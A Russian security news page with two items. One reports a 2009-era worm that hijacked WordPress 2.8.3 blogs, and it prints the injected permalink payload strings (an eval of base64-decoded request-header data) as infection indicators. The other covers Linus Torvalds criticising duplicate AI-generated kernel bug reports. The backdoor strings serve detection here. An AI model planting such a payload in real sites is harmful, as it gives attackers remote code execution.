Массовое заражение блогов на WordPress

Массовое заражение блогов на WordPress

Месяц назад стало известно о новой критической уязвимости в WordPress 2.8.3, позволяющей легко изменить администраторский пароль в удалённом режиме. После этого вышел WordPress 2.8.4, устраняющий эту уязвимость. Однако, как оказалось, далеко не все блогеры следят за обновлениями.

В эти выходные разразилась настоящая эпидемия нового вируса, поражающего блоги на движке WordPress 2.8.3 и более ранних версий в ветке 2.8.

Червь регистрируется в блоге, запускает вредоносный код через структуру permalink и делает себя вторым админом, потом запускает скрипт для стирания себя со страницы пользователей и начинает добавлять спам и ссылки на вредоносный контент в архивные топики.

Присутствие вредителя довольно сложно обнаружить сразу, тем более если он ещё ничего не опубликовал. Для этого нужно проверить фид permalinks/rss на присутствие следующего кода.

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

или

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

или ошибки

‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’

Если есть такой код или фид сломан, то блог инфицирован.

Процедура удаления червя представляет собой нетривиальную задачу .

источник 

Линус Торвальдс разнёс баг-хантеров с ИИ за спам в рассылке Linux

Линус Торвальдс снова недоволен. В еженедельном сообщении о Linux 7.1-rc4 он заявил, что управлять отчётам о безопасности ядра стало почти невозможно из-за потока репортов о багах, найденных ИИ-инструментами. Проблема не в том, что ИИ ищет баги. Проблема в том, что десятки людей запускают похожие инструменты, находят одни и те же проблемы, а потом несут их в приватную рассылку.

В итоге мейнтейнеры тратят время не на исправления, а на сортировку дублей и ответы в стиле «это уже починили неделю назад».

Торвальдс отдельно подчеркнул: баги, найденные ИИ, по определению редко бывают секретом. Если один инструмент нашёл проблему у одного исследователя, с большой вероятностью тот же инструмент уже нашёл её ещё у пяти человек. А когда всё это уходит в закрытую рассылку, авторы даже не видят отчёты друг друга.

Посыл Торвальдса простой: хотите быть полезными — не кидайте сырой ИИ-репорт. Прочитайте документацию, проверьте проблему, разберитесь, сделайте патч. Добавьте хоть какую-то человеческую работу поверх того, что сгенерировала машина. Иначе это не вклад в безопасность Linux, а спам с претензией на ресёрч.

При этом сам Торвальдс не объявляет войну ИИ. Он признаёт, что инструменты могут быть полезны, но только если они помогают проекту, а не создают имитацию деятельности.

Забавно, что позиция Торвальдса звучит жёстче, чем недавние оценки Грега Кроа-Хартмана, который говорил, что ИИ становится всё более полезным инструментом для FOSS-сообщества. Но противоречия тут почти нет: полезный ИИ — это когда он приводит к патчу. Бесполезный ИИ — это когда он превращает рассылку Linux в свалку одинаковых срочных находок.

RSS: Новости на портале Anti-Malware.ru